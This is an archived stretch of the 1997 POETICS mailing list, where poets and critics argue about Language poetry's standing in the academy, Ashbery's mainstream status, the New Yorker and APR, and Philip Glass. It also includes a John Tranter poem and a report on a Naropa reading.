>[redacted] :: http://personal.riverusers.com/~chax/
>
>

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333. James Finnegan
Re: Bob Grumman's list poetic schools / Is Langpo acadomina
Thu 10 Jul 1997

In a message dated 97-07-10 19:07:17 EDT, you write:

> *For instance, is*
> *John Ashbery really mainstream? When exactly did he become so? Does*
> *calling his work mainstream reflect on the nature of the writing qua*
> *writing, or merely on the fact that he has managed to make a good*
> *name for himself and to become accepted in (the perceived)*
> *establishment?*

When he was feted by the Academy of American Poets and such like organizations he became mainstream. The writing itself lags behind and is certainly not mainstream per se. But Ashberyesque has certainly been adopted by enuf younger writers, adapted to their own purposes, to have become part of the flow rather than an obscure eddy. And when a poet publishes with a certain press, with a certain initial print run, he/she becomes mainstream like it or not. Success causes the cache of avant-garde to fade very quickly. If everybody's reading him/her, how can he she expect to hold much interest for the serious few.

Finnegan

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334. **Bob Grumman**

Re: Schools of Poetry and Acadominance

Thu 10 Jul 1997

Guess I have to post one more message about my list of schools, and acadominance. All I'll say about the latter is that I never did not claim that my impression of language poetry's acadominance was more than an impression. It now looks to me like whether the impression's valid or not will have to await the judgement of posterity. I suspect no one knows enough now to say for sure. And there are so many angles of view on the question. Lang po certainly has SOME kind of cultural status that APR poetry doesn't have--sorta like art films versus Hollywood fare.

Oh, and I want to thank Mark Presjnar for his good friendly letter about his possible harshness about my take on acadominance. As I back- channeled him, it's impossible to avoid occasionally saying things not-quite-exactly-as-intended, or worse (and, yow, have we seen examples of that on this list!) I, for instance, am now annoyed with MYSELF for denigrating APR poetry in my effort to defend myself from the charge of denigrating language poetry. This when I asked, "Who takes APR poetry seriously?" Well, actually, *I* do--that is, I take the best poetry of that sort seriously as poetry--since it's as good as ANY poetry. I do look down on APR, the magazine, though, not for the poetry it publishes so much as for the poetry it ignores.

As for my list of poetry schools, David Israel made some interesting points about it. He's about convinced me that linking individual poets to particular schools is too tricky to be practical (though I made a point of stating that many poets belong to two or more schools). About Ashbery, here's another of my very unsupported impressions (because I don't know either poet's work that well): Ashbery and Graham are modernists in the jump-cut poetry school founded mainly by Pound and Eliot, particularly with Eliot's "Wasteland." They are thus very mainstream. Or maybe they've pushed jump-cut poetry sufficiently to merit being called "neo-jump-cut" poets. Or "hyper-jump-cut." I would include in their school many poets called language poets who collage texts, which is a way of jump-cutting as opposed to doing what language poetry does (in my view--see below). Although the textual collagists seem much more craft-extending than Ashbery--and, certianly, than Graham.

Anyhow, I think David put his finger on many of the difficulties of trying to work up an effective list of poetry schools. In naming schools, my criteria were scattered and unsystematic--because the list is a typology, not a taxonomy--and more to generate discussion than to attain definitiveness of any sort. A school

on my list might be based on status and other extra-literary qualities but in my formal taxonomy I try to be objective (which I'm still backward enough to believe possible) and work out my kinds of poetries based on what they concretely are and/or do as words on paper (or in speech). Language poetry, by my definition, then is simply poetry that significantly breaks conventional grammatical norms--to significant expressive effect. I couldn't care less how Marxist, for example, a given lang poet is or not provided he messes around with grammar. And considerations of what's mainstream or not are outside my taxonomy, as well as what's good/bad.

So, maybe in a month--if I have the courage--instead of posting an updated version of my schools of poetry, I'll try my taxonomy on the group. I'll bet you can't wait. --Bob G.

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335. **DS**
Re: Bob Grumman's list poetic schools / Is Langpo acadomina
Fri 11 Jul 1997

Sure we get pissed off and resentful when too many join our elite little clubs - but is this really a reason to retrospectively re-categorise. What about Vivaldi - I am sure if i were around the pound promotion time i would have felt myself in on a great thing - now it is the wallpaper music of bank/car/insurance advertisements, give me philip glass anyday.

Dan

Success causes the cache of avant-garde to fade very quickly.
>If everybody's reading him/her, how can he she expect to hold much
>interest for the serious few.
>
>Finnegan
>
>

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336. **John Tranter**
The New Yorker and O'Hara
Fri 11 Jul 1997

I don't usually post my poems to the list, but this one seemed apposite to the Ashbery / New Yorker discussion. Attribution: it first appeared in print late last year in the Times Literary Supplement (UK).

John Tranter : The Green Buick

'You remained for me a green Buick of sighs, o Gladstone!'
- Frank
O'Hara, 'Second Avenue'

I'm off, he said. He shrugged on a soft dark
overcoat, and wrapped a check scarf around his neck.
He stuffed his sighs into the Buick
ignoring the way the late afternoon cloud-light
glittered along the strips of chrome and gold trim.
A few spots of rain glistened on the metallic
lemon-green paint shine but somehow not on the
actual paint. "What is it with the New Yorker," he said,
as he heaved his old suitcase into the back seat -
he had the white canvas top down,
the car was full of junk - "that the writing
has to agree with the faux-naïf cover art,
as well as the advertisements for English raincoats
and cruises to the Bahamas? You'd think
one humiliation would be enough! Look at it,"
he said. He looked around for the last time.
We're talking New York circa 1960,
the Apple just beginning to go
bad at the core. "As for the San Fran-fucking-
Cisco Renaissance," he grunted,
"the whole boatload of sensitive bullshit - "
he thumped the flank of the car with his hand,
and it was like jolting a slide projector:
in his brain a magazine clunked to the right, then
slithered left, and dropped a fresh splash of colour
in the slot - he could see the Buick already swaying
over the wooden planks above the swollen river
and then down the track to his childhood home -
"ah, the blue gloom under the trees," he said,
"the neon burning outside the motel
in a halo of rain sparks - ecstasy!"

END

» » » » » » » » » » » [redacted] » » » » » »

John Tranter, 39 Short Street, Balmain NSW 2041, Australia
Phone Sydney ([redacted] FAX ([redacted]

↑ Index

337. aerialedge
Re: Langpo and the academy
Fri 11 Jul 1997

In a message dated 7/11/97 4:13:46 AM, J Debrot wrote:

>Of course Language writing is as much an argument against (de Man) as it is a
>collusion with poststructuralism

This brings to mind the truncated Derrida quotation toward the beginning of Harryman's _Vice_: "Genres are not to be mixed. . . " In disussing that usage w/ her she said it's contructivist, not decon. I believe I agree at least in terms of that teerrific book.

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338. John Tranter
Langpo and Grammar, god help us!
Fri 11 Jul 1997

Bob Gruman said --

"I couldn't care less how Marxist, for example, a given lang poet is or not provided he messes around with grammar. "

Oh, you cruel beast!!
Grammar? Gramar?!!! Is that all you care about?!!

» » » » » » » » » » » [redacted] » » » » » »

John Tranter, 39 Short Street, Balmain NSW 2041, Australia
Phone Sydney ([redacted] FAX ([redacted]

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339. Mark Prejsnar
Re: Langpo and the ory
Fri 11 Jul 1997

Great story--Which I think could be told many times over about lots of people like Culler, who I encountered a bit when I was working in the Cornell libraries in the early '80s....He is indeed a perfect (but highly representative) example of this ghettoization. Pick up most publications that reflect what the Academy thinks is going on in literchur, and you really won't find any awareness of contemporary poetry..(..some awareness of rather bland workshop verse, of course, but none of *contemporary* poetry in Stein's sense..)

Mark P.
atlanta

On Thu, 10 Jul 1997, Douglas Barbour wrote:

> *I am reminded by the discussion of LangPo & the academy, & Jordan Davis's last post, of a visit to the U of A some years ago by that great interpreter of deconstruction, Jonathan Culler, who was giving lectures on poetry, but only poetry of the Romantic period, with an occasional reference to TS Eliot. They were brilliant lectures except for the fact that they seemed totally unaware of the contemporary & recent poetry that seemed to me most open to his thinking. So I asked him why he (& others of his ilk in the Eastern US universities deep into Derrida et.al.) had nothing to say about those poets (I said then) whose work so fitted into their theorizing such as Charles Olson, Robert Creeley, etc (I wasnt then all that aware of the LangPoets by name, & also thought he would at least know the names I mentioned -- but he did not!). He had no answer for me, then, & I'm not sure he would now. So perhaps the question is which *parts* of the academy, or even which academies, are paying attention to the new (recently so) poetics. I do know this: more big publishers publish books on contemporary theory than publish books of contemporary poetry...*
>
> *==========*
> *Douglas Barbour*
> *Department of English*
> *University of Alberta*
> *Edmonton Alberta T6G 2E5*
> *[redacted] FAX:[redacted]*
> *H: [redacted]*
> *~~~

before working with me in a Michigan library she had been a proof-reader at Encyclopedia Britannica in Chicgo. She recounted how her supervisor there worked passionately on poems....And never sent them anywhere except the New Yorker. His only goal in his life as a poet was to be published in the New Yorker! That suggests that this is a publication with an interesting and resonant role in our culture!

I'm sure you must be right about there being *some* dismissal and ridicule for Ashbery early on...How much I wonder? Still, I don't think the elder statesman, if-you-hang-around-long-enough factor is that strong in his case...Larry Eigner hasn't gotten that kind of broad endorsement and anthologization; Coolidge, Palmer and S. Howe all began publishing in the last few years of the '60s, right? That's 27 years at a minimum, and the mainstream isn't throwing too many roses...

Mark

On Thu, 10 Jul 1997, David R. Israel wrote:

> *[was, Re: Bob Grumman's list poetic schools / Is Langpo acadomina]*
>
> *Mark P. --*
>
> *To what extent is the influence of the New Yorker "responsible for" (used advisedly) the "Ashbery is okay" phenomenon, I wonder?*
>
> *The number of poets whose work appears in the New Yorker is (I think) pretty small -- and of those whom that magazine publishes, there are a select handful whose poems tend to appear again & again thru the years (including several I like a lot -- e.g., Ashbery, Mewin, Simic).*
>
> *The New Yorker's role / status in broad American culture is, it could be argued, unique. For one thing, it has (if I'm not mistaken) far and away the vastest circulation of ANY "serious literary" publication in the country (or -- heck -- the world); & it's a weekly = Ubiquitous.*
>
> *Acceptance by that mag as one of a few dozen whose poems they'll oftentimes carry upwards of half a dozen times per year, seems a seal of approval for a fairly broad & influential hub of the culture.*
>
> *There are (naturally) *many* other elements in the Ashbery-in-America phenom -- one being (simply) the long tenure of his contribution. Heck, even Ginsberg gets flower petals, eventually. As I understand it (I wasn't around in those days), for a long time, Ashbery was severely criticized & ridiculed & deemed something of a laughingstock (rather as John Cage was -- or for that matter, Phillip Glass till at least the mid-'80s) in highbrow circles. Eventually, the court jester gets a cabinet post, natch: the stone that's rejected (but*

> *establishes a strong name), becomes the corner stone. If you're part of the dialogue, doesn't matter too much if the press is good or bad.*
>
> *As said, just a thought (or thought & a half).*
>
> *best,*
> *d.i.*
>
> *.*
> *,*
> *.....,*
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> *\\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////////...'*
> *.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'*
> *///\\\\\\/////////\/\\\o///\/\\\\\\\\\/////\\\...'*
> *.David.....Raphael.....Israel...'*
> *<[redacted]>*
> *[&/[redacted]]*
> *{telephonic.location.202/[redacted]}*
> *| "...honk if you believe in geese" |*
> *\\\/////\\\\\\\\\/\////&\\\/\/////////\\\\\\///..'*

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341. Jordan Davis
the mooring (venison burgers)
Fri 11 Jul 1997

While we're distinguishing -- Ashbery's style isn't Hamptons, it's upstate New York -- 'deep suburban' as Bill Berkson put it. Tho Ashbery has done his time on Long Island, he (I hear) prefers Hudson.

One guy responsible for the New Yorker's literary stuff in the recent past, Chip McGrath, is now at the New York Times Book Review, which come to think of it, is a pretty ghoulish read as well --

Jodam

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342. Mark Prejsnar
Re: Acadominatrix
Fri 11 Jul 1997

Aldon--
Excellent post, and I agree with everything therein...

I hope I made it clear in my previous posts that my main objection to "acado-dominant" is that it's *inaccurate* and not that it's pejorative. (Tho' it still has that ring to me, and that seems more significant to me I guess than to you..)

I think your comments about academic pecking-orders, are right on, and I'm glad to have 'em posted by a real live academic! Put together with Douglas Barbour's story about Jonathan Culler, I believe they make a very telling point about how things really are in most of the university scene..Truly contemporary poetry isn't usually given the time of day..

Mark P.
atlanta

On Thu, 10 Jul 1997, Aldon L. Nielsen wrote:

> *My problem with "acadmoninant" is unrelated to whether it is thought to be a compliment or a pejorative -- Seemed to me such a term should either mean a poetry dominated by academics (or by the academic) -- or a poetry that is dominant in the academy -- Clearly neither is true of any iteration of LANPO one might care to describe ("My favorite definition still the one offered nearly a deacde ago by Ron Silliman, to the effect that a language poet is anyone who has evern been accused of being a language poet) --*
>
> *The MIT is to whatever as Buffalo is to the rest won't work for anybody familiar with academic pecking orders --*
>
> *and it certainly does make a difference which vantage point one chooses from which to view the academy -- I suppose LANPO might appear acadmoninant to anybody visiting Buffalo for a weekend (though it didn't to me) -- but out where the vast majority of teaching is done in this country things couldn't look more different --*
>
> ____
> *as to how the pcking order maintains itself impeccably, I here reproduce a letter recently received from a West Coast academy -- since I already have a good job I am able to find this amusing:*
>
> *Dear Dr. Nielsen:*
>
> *I am sorry to have taken so long to inform you about the status of our search for a full professor. The search continues, and I am writing to ask whether you still wish to be considered for the position. You are one of a dozen applicants remaining on our list, so I hope you are still interested. In the Fall MLA Job Information List we will advertise the position again, but we are opening the search to associate professors. We hope to compile a short list by the end of the calendar year.*

> ___
> *I told them that, while it would certainly be interesting to be part of such an unusual process, I would decline.*
>
> _____
>
> *part of the problem I've seen in the recent discussions of "which came first" regarding "theory" and certain theoreticllay inclined poetries has been the foreshortened perspective -- take a gander at this:*
>
> *"there is no world of objects which antedates the experiences of any individual. All perceptual objects . . . are integrations of contact and distance experience, achieved through a process which began as practical or organic and became theoretical when the practical act was inhibited."*
>
> *This is not a Francophone academic writing -- It was published in 1945, and today's whiz kid award goes to the first listomaniac to identify the American philospher whose position is here described --*

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343. **Mark Prejsnar**

Re: Bob Grumman's list poetic schools / Is Langpo acadomina

Fri 11 Jul 1997

On Thu, 10 Jul 1997, James Finnegan wrote:

> *But Ashberyesque*
> *has certainly been adopted by enuf younger writers, adapted to their own purposes, to have become part of the flow rather than an obscure eddy.*

Ya coulda fooled me.

Are we living in the same universe??

Plenty of people have been influenced by Ashbery, but except for Ann Lauterbach (and more power to her, and I think she's a little under-appreciated by the way) very few are swimming or sinking or doing anything else in the murky mainstream.

Mark P.
atlanta

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344. **Bennett M. Sm [Dimpson**
Cash Moves
Fri 11 Jul 1997

I can't agree enough with Mark Wallace here. To speak from my experience, as it were, UVa (both open and closed to both "theory" and "experimental poetry" --mainly closed, actually) allows a certain amount of showroom exposure to a wide variety of idea-baubles, but even the university's best efforts to ingratiate its students and faculty with a range of "discursive possibilities" winds up feeling like a buffet-table at the MLA. I know this sounds snide, possibly too reactive, but the extreme pluralism (or mask thereof) necessitated by state funding and stodgy boards of visitors is almost enough, enough almost to push me into a soft-collar career in data analysis. THe shouts of "dominant" this and "entrenched" that make for loopy cocktail games, but are they more than diversions? It all passes soon, it's a matter of juggling, navigation, profit margins, blind-buying, commerce servers --The musak and prosac of customer relations. Know your markets. Locution, locution, locution. This is not to say that some ideas aren't "better" than others, or more useful, or more accepted, or more suffered (I am not so tipsy yet Jordan), but, you know, When Rorty enters the lecture hall I am certain I hear the cappacino call.

"Shhhh.
Many things are about to be said

and do they all concern you."

On Thu, 10 Jul 1997, Mark Wallace wrote:

> *I find myself fairly skeptical about claims that this or that theory, this or that school of poetry, can be called in any simple sense "dominant in the academy." My own sense is that the disciplinary strategies by which academic departments and careers are shaped, ALWAYS these days takes precedence over any particular "literary" or "theoretical" approach--most approaches sooner or later get some piece of the bureaucratic distribution of the department, and that's where it stops. What's dominant is MONEY and BUREAUCRATIC organization, and while there are many fine theorists and poets who work in academic contexts, the specifics of what they think are much less important to university organization than the fact that the organization can seem to "cover" and "have an expert in" as many "relevant" areas as possible. The traditional Milton scholar may have disdain for the new scholar of subaltern studies, and the new scholar of subaltern studies may find the old Milton scholar intolerably hegemonic. But they are both still dealing with IDEAS, whereas the bureaucracy that they are a part of has only a secondary concern (if that) with IDEAS. What a university bureaucracy cares about is the organization of those ideas in ways that make financial*

> *"sense" as they see it. Ideas are the commodity that the university sells. It is the SELLING that is dominant. When something no longer appears to sell to enough people, it will disappear sooner or later from the academic marketplace. How many universities no longer have a classics department, for instance, or teach even a single class in how to read ancient Greek? And if you think you're sticking around because your own discourse is more crucial than those, I'm not sure you don't have a big surprise coming.*
>
> *In short, I'm not sure I don't find this stuff about "dominant academic ideas" almost to be a kind of whimsical nostalgia for a world that never existed in the first place. The only dominant ideas I'm aware of have very little to do with literature at all.*
>
> *Mark Wallace*
>
> /----------\
> | |
> | [redacted] |
> | *GWU:* |
> | *http://gwis2.circ.gwu.edu/~mdw* |
> | *EPC:* |
> | *http://writing.upenn.edu/epc/authors/wallace* |
> |_____|

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&c.
Bennett Simpson &c.
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345. **dbkk**
Re: instance of Ashbery
Fri 11 Jul 1997

At 3:47 PM -0500 7/10/97, Pritchett,Pat @Silverplume wrote:
>The appearance of the acceptance of the marginal (i.e. the threatening) by
>the mainstream often falls under the heading of "neutralization by
>assimilation" or as James Agee put it "the emasculation of acceptance" but
>since Dodie Bellamy rightly pointed out the gender bias of that term, call
>it instead "the defanging of acceptance."

Pat, I think you're confusing me with somebody else. I can't remember ever talking about "emasculation" or James Agee--even in private conversation. Who really is this mystery woman with all these opinions?

Dodie

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346. David R. Israel
after Ashbery
Fri 11 Jul 1997

[was, subject:
Re: Bob Grumman's list poetic schools / Is Langpo acadomina]

Adding to the flow here --

> *But Ashberyesque*
> *has certainly been adopted by enuf younger writers, adapted to their own purposes, to have become part of the flow rather than an obscure eddy.*
>
> *Ya coulda fooled me.*
>
> *Are we living in the same universe??*
>
> *Plenty of people have been influenced by Ashbery, but except for Ann Lauterbach (and more power to her, and I think she's a little under-appreciated by the way) very few are swimming or sinking or doing anything else in the murky mainstream.*
>
> *Mark P.*
> *atlanta*

Another who might be esteemed in the Ashbery stream is John Yau, who's doing okay lit-world-wise, I think. I second Mark's hat-tip to Ann Lauterbach, & agree she seems of post-Ashberian ilk.

Also: (re: nomenclature & generalization): Much mention has been made of so-called "APR style" or the "APR school." Said journal does, incidentally, publish the likes of Ann Lauterbach, John Yau, Leslie Scalapino, Robert Creeley, Michael Palmer (I think?), Carol Maso (if memory serves), Armand Schwerner, and a good number of others whose writing likely isn't exactly of the sort intended by the perhaps (all-too-)handy perjorative. There may be some bias in evidence, but if I'm not mistaken, the journal is a bit more catholic in its inclusions than recent references might lead one to suppose.

yours,
d.i.

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///\\\\\/////////\/\\\o///\/\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
|"...sleuthing out all clues, blues & news"|
\\\/////\\\\\\\\\/\///&\\\/\/////////\\\\\\///..'

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347. Jordan Davis
The language of influence
Fri 11 Jul 1997

Mark --

the idea that Ashbery's influence is everywhere is one I come across a lot, and am befuddled by, as well. You have to extend the idea of Ashbery out far enough to include J Graham, J Tate, and who else? to give it any credence. The language of influence is crowded with hard hard c's. If Ashbery really has that much influence, why aren't things (why isn't the influenced poetry) _better_?

Influence epidemic,
J

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348. Fred Muratori
Re: The language of influence
Fri 11 Jul 1997

Re:
>
>the idea that Ashbery's influence is everywhere is one I come across a
>lot, and am befuddled by, as well. You have to extend the idea of Ashbery
>out far enough to include J Graham, J Tate, and who else? to give it any
>credence. The language of influence is crowded with hard hard c's. If
>Ashbery really has that much influence, why aren't things (why
>isn't the influenced poetry) _better_?
>

>Influence epidemic,
>J

I think some people see Ashbery's influence in any poem that "doesn't make sense." But I agree that when you get down to specifics -- in whose work is the direct influence of Ashbery's strategems (indicated I suppose by things like receding antecedents, shifting subject matter, falsely amicable diction, or non-referential syntax) directly and consciously assimilated -- you probably wouldn't come up with a very long list of names. Maybe John Yau? Maybe Dean Young or Donald Revell? More than one poet has told me that when they look to their bookshelves for poetry that will drive/inspire them to hit the keyboard or legal pad, Ashbery's are the last ones they'd select, regardless of how much they might otherwise like and appreciate his work.

-- FM

****
Fred Muratori "The spaces between things keep
([redacted]) getting bigger & more
Reference Services Division important."
Olin * Kroch * Uris Libraries - John Ashbery
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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349. **Mark Weiss**
Re: instance of Ashbery
Fri 11 Jul 1997

We may choose to disagree without assuming that the other is incapable of understanding. I go to music with open ears. For the record, I don't assume that people who like Glass' music are shallow or stupid. I do wonder how well-informed they are. For instance, Glass' rhythms are not particularly difficult or complex and it's hard to imagine how anyone could think so who knew 20th century music. It's possible that my composer-friends are consumed by bitterness. Maybe I just haven't noticed. Yup, I like art that surprises and challenges me--I prefer Pollock to his teacher Benton (but check out the latter's surprising early abstractions), Rothenberg (Susan) to Alex Katz (but check out the small early collages), Zukofsky to Edgar Lee Masters. Maybe that's like preferring rotten food. I apply to music the same criteria I apply to the other arts--it's what comes naturally to me. But I tire of talking about myself. I expected the

brickbats. Let it be known that one member of the list is not a Glass fan, and let it rest at that.

At 01:09 AM 7/11/97 +0000, you wrote:
>Mark Weiss wrote:
>
>> Glass has made no inroads into the
>> conservatories and virtually no one plays his music except his own
>> ensemble.
>
>As I understand it, he hasn't published his scores for performance
>(except a very few) so that if people want to hear his material live
>(as, is obvious from his touring grosses, many do), they have to
>bring in his ensemble to do it. A smart financial move.
>
>> I have it in confidence from members of same who must remain nameless
>> that they only play it because it's a gig.
>
>That's their problem.
>
>> Non-minimalist composers (I hung out with a lot of composers in NY)
>> speak of
>> Riley and Reich with respect; I've never heard the same in regard to
>> Glass.
>> Most consider him a pious fraud. Admittedly this is anecdotal.
>
>The ones with whom I hung out in New York (granted this was a decade
>age) were, indeed, quite bitter at Glass. It usually boiled down to
>his having figured out how to make a living at it.
>
>> It was harmonically and
>> rhythmically uninteresting, consistently mannered, formulaic and
>> predictable.
>
>I have heard the convincing theory that one finds most interesting
>the music whose changes that person can predict, at the level at
>which the person chooses to listen, about half the time. If you're
>listening to Glass expecting it to move harmonically and rhythmically
>as much other music does, you will be disappointed. Much of Glass's
>early work moves most interestingly on the note-to-note level and
>at the level of changes of rhythmic pattern.
>

>If trying to sing along with the quick vocal patterns in "Einstein on
>the Beach" doesn't cure one of finding it rhythmically uninteresting,
>I would be surprised to hear that person claim to find rhythmic
>interest in anything.
>
>> On this last (I'll refrain from another attempt at creative spelling)
>> an
>> interesting story. My kid saw the film when he was about twenty, loved
>> it,
>> loved the music. So he got the album. He was genuinely mystified that
>> when
>> he listened without the visuals none of what he had thought was there
>> was.
>> He realized that it was background music. Try the experiment with any
>> of the
>> above-named efforts.
>
>I honestly don't know what you mean by this. To the extent that I do,
>it does not correlate at all with my own experience.
>
>> Also interesting--when the music is performed in concert (non-dramatic
>> settings) one recognizes few members of the audience from concerts of
>> non-minimalist non-top 40 western music. I would guess that few would
>> have any idea who Elliot Carter is.
>
>Yup. And there's little crossover between fans of Metallica and Roberta
>Flack. You point is...?
>
>> If I plunk down the cost of concert-hall tickets
>> and what I get is likeable noise I feel like I've been had.
>> I don't like "likeable" poetry, either. If there's no challenge,
>> nothing new to be learned, I don't go back for more.
>
>Some of us don't demand that every experience slap us upside the
>head. I've done music that confused and bored everyone, poetry
>that inspired audiences to run away in tears, and theatre that
>terrified the viewers. Been there, done that. I now like having
>audiences who find what I do pleasant.
>
>Your attitude is that of someone who would send a restaurant
>dinner back because nothing tasted odd.
>

>> Is it clear that I don't like his music?
>
>Gee, I woulda never guessed!
>--
>---------1---------1---------1---------1---------1---------1----------
>|||/ Joseph Zitt ===== [redacted] ===== Human Systems \|||
>||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \||
>|/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|
>
>

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350. **Pritchett,Pat**

Re: Last night at Naropa...

Fri 11 Jul 1997

... was the last night of the Summer Writing Program's reading series, held in true showbiz tradition within the "friendly confines" of the Fox Theater on University Hill.

Unfortunately, I arrived late (didn't check my ticket for the starting time) and so missed both Bobbie Louise Hawkins and Anselm Hollo reading from their work and entered in the midst of a fierce oratorical performance by Michelle Clinton, whom I'd last heard at the now defunct Chatterton's on Vermont in LA. The vivid sense of anger and the flamboyant embattled rhetoric against persecution and violence to women were still there, but I felt a certain tendentiousness at work also, and a failure to engage language to its fullest extent - a decision, clearly, on Clinton's part, to eschew the stilletto for an instrument with heavier impact. It led to me to think of several things, among them, Camus' line "To be classic is to repeat oneself. And to know how to repeat oneself." Was Clinton doing the latter? Also, how is her poetry more political (or less) than say, Bernstein's "The Kiwi Bird in the Kiwi Tree?" I'm not sure - but I found myself agonizing over the problematized interface between protest and poetry. This turned out to be something of a leitmotif for the evening.

Next, Anne Waldman and Andrew Schelling performed a spirited and engaging duet, accompanied by Mark Miller on flute and Steven Taylor on one of Allen Ginsberg's harmoniums, of some poem-tales from their translations from the Pali Canon, _Songs of the Sons and Daughters of the Buddha_. Rendered in a fresh, contemporary idiom, these pieces were nevertheless curious, to say the least, as they mainly concerned themselves with exhortations against the wiles of the flesh and grim repudiations of the body. A strange grafting of newer

Buddhistic teaching with obviously older material that derived from a tradition of moralizing folktales.

Steven Taylor took the stage and sang in dulcet voice a stunning setting of Blake's "London."

Stan Brakhage - looking something like a Mennonite - fairly hopped onto the stage in a delightful display of joie de vivre following this, and gave a wonderful homage to the 20th Century American epic poem - Williams, Pound, Zukofsky, Stein, Dorn and HD - how their works provided an essential fuel for his own work, all by way of introducing Ronald Johnson.

In a hoarse voice, Johnson read from _Ark_: Spire for LZ, describing how he had already written it when he heard the news of Zukofsky's death and how that then changed the poem, made it more serious. He also read one of the Ramparts, and closed with Arches for Stan Brakhage. To say more than this would be gilding the lily, I'm afraid. Suffice it to say, it was great to see and hear one of the greatest poets in the land. Johnson closed real trouper-style, saying his book was on sale in the lobby (I hope he sold them all!) then raised his bottle of Bud in salute.

Diane di Prima read next. First, "Gestapo Poem." Then two elegies for Ginsberg - funny and moving - "no more unlooked for and unused poetry advice." She closed with a long reading of section from her work in progress _Lola_. It was difficult to get from these snippets a clear sense of this book-length poem, whose main concerns were with the epic scale of prehistory and the mythic evocation of the feminine.

Ed Sanders closed the evening, his reading prefaced by some fidgeting with gizmos. He read the closing portion of *his* book-length poem _1968_. This narrative work was long on prose-like exposition and short on the lyrical, but fascinating as an anecdotal document (The Fugs on tour in Chicago, Ed calling Daley a motherfucker to a pissed off crowd who expected to see Wilson Pickett instead, the suicide of DA Levy, manning the trenches in Chicago with Ginsberg) The work carries - and tries to expunge - a deep anger from that time over government betrayal, government-issued death. As with Clinton's work, but in a different way of course, I felt a sharp disparity between the effort to engage political awareness and the cost this affected on the poem's engagement with language. Not good or bad - but differing greatly from my own concerns. Ed then led us in a corny, good spirited sing-a-long "America at Peace," then read a lovely lyric poem - "the weight of the world is love who can deny it?" and closed with a duet with Steven Taylor - more songs of Blake with segues into contemporary political issues and some charming, amusing variants of "New Amazing Grace."

whew! .... our revels now are ended. Thanks for listening.

Patrick Pritchett

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351. **Pritchett,Pat**
Re: instance of amnesia
Fri 11 Jul 1997

Well, I _thought_ you said it... Oh hell.

From: dbkk
To: POETICS
Subject: Re: instance of Ashbery
Date: Friday, July 11, 1997 11:19AM

At 3:47 PM -0500 7/10/97, Pritchett,Pat @Silverplume wrote:
>The appearance of the acceptance of the marginal (i.e. the threatening) by
>the mainstream often falls under the heading of "neutralization by
>assimilation" or as James Agee put it "the emasculation of acceptance" but
>since Dodie Bellamy rightly pointed out the gender bias of that term, call
>it instead "the defanging of acceptance."

Pat, I think you're confusing me with somebody else. I can't remember ever talking about "emasculation" or James Agee--even in private conversation. Who really is this mystery woman with all these opinions?

Dodie

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352. **Pritchett,Pat**
Re: instance of Ashbery
Fri 11 Jul 1997

Mark, I like what you say here. Though I venture to add that it's only someone from Kansas longing to escape his Kansas-ness who could be more New
Yorker than thou. The New York of the New Yorker is a metropolitan cultural wish-fulfillment, much in the same way that the Hollywood created by Jewish immigrants was more American than America (see Neal Gabler's fine book _An Empire of Their Own: How the Jews Invented Hollywood_).

From: Mark Weiss
To: POETICS
Subject: Re: instance of Ashbery
Date: Thursday, July 10, 1997 8:11PM

The Newyorker has never been urban eastcoast culture. Founded by a guy who was insecure about being from Kansas, it's always been centered in the fantasy culture of similar immigrants from points west with deprived childhoods. For many years its standards of selection have been whatever fits neatly between ads for stores on Madison Avenue without distracting attention too much from those ads. New York has always been about clamorous ethnic cultures. When the fleet of the future James II appropriated it from the Dutch there were already 18 languages in daily use. This reality rarely gets the attention of the Newyorker, except, perhaps, in snotty little pieces in The Talk of the Town; it certainly has little influence on the rag's own cultural attitudes. Ashberry's acceptance I think stems from two things: his Hamptons style, subject-matter and diffidence and his currency in the higher-priced precincts of the art world. Another way of saying he walks the walk and goes to the right parties. None of which takes away one iota from his often splendid poetry.

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353. **Mark Weiss**
Re: instance of Ashbery
Fri 11 Jul 1997

Absolutely. For native New Yorkers like me (as opposed to a lot of other native New Yorkers, I guess), and perhaps especially for those of us living in exile, the fantasy New York has always been an issue--a lot of folks come in with little or no committment to the lived place of the vast majority. Even O'Hara, whose work I love, gets to me this way (few of the New York School poets were in fact New Yorkers).

At 12:44 PM 7/11/97 -0500, you wrote:
>Mark, I like what you say here. Though I venture to add that it's only
>someone from Kansas longing to escape his Kansas-ness who could be more New
>Yorker than thou. The New York of the New Yorker is a metropolitan cultural
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>
>

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354. **Mark Prejsnar**
Re: after Ashbery
Fri 11 Jul 1997

On Fri, 11 Jul 1997, David R. Israel wrote:

> *Also: (re: nomenclature & generalization): Much mention has been made of so-called "APR style" or the "APR school." Said journal does, incidentally, publish the likes of Ann Lauterbach, John Yau, Leslie Scalapino, Robert Creeley, Michael Palmer (I think?), Carol Maso (if memory serves), Armand Schwerner, and a good number of others whose writing likely isn't exactly of the sort intended by the perhaps (all-too-)handy perjorative. There may be some bias in evidence, but if I'm not mistaken, the journal is a bit more catholic in its inclusions than recent references might lead one to suppose.*

Well--yes, this has always been an interesting issue. Years ago I was puzzled as to why the classic founder/polemicists of LangPo and other counterstream tendencies made APR their whipping-entity, and not say the venerable Poetry. One reason is that Poetry seems to've been in decline in influence since I was a wee lad in the 1960s, and another is the specific history of APR, which was founded in a way that linked it historically to the MFA-granting poetry workshop/writing program movement. It specifically marketed itself to the writing-workshop milieu, and so many feel that it has helped to perpetuate the blandest free-verse

stylings, which often come out of that milieu. I'd readily agree about the counterstream poets they've published over the years. I haven't bothered to pick it up for about three years, but before that saw it pretty regularly for eons--and your list of interesting poets could be extended; I remember fine if small bits of Barbara Guest and Susan Howe. But many folks just feel that the counterstream appearances are pretty infrequent and minor compared to the overwhelming volume of mediocre dreck.

The other point, which I've never seen mentioned, but which I suspect is important, is that APR is just *so* visible and widely available, and so much *intends* to be a popular/populist tabloid presence, that it's bound to be a primarily target, if you have criticisms of the poetry establishment. Its very character makes it a potent influence, capable of perpetuating dominant (ahem) trends; and I believe it *has* functioned to perpetuate dominant trends, most of 'em pretty bad...But yes for most of us it isn't an black-and-white issue. I've always publicly praised them for what openings and support they've given otherstreams...

Mark P
atlanta

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355. **Mark Prejsnar**
Re: re - 'neologism'?
Fri 11 Jul 1997

Cris

Your posting is thoughtful and provacative...

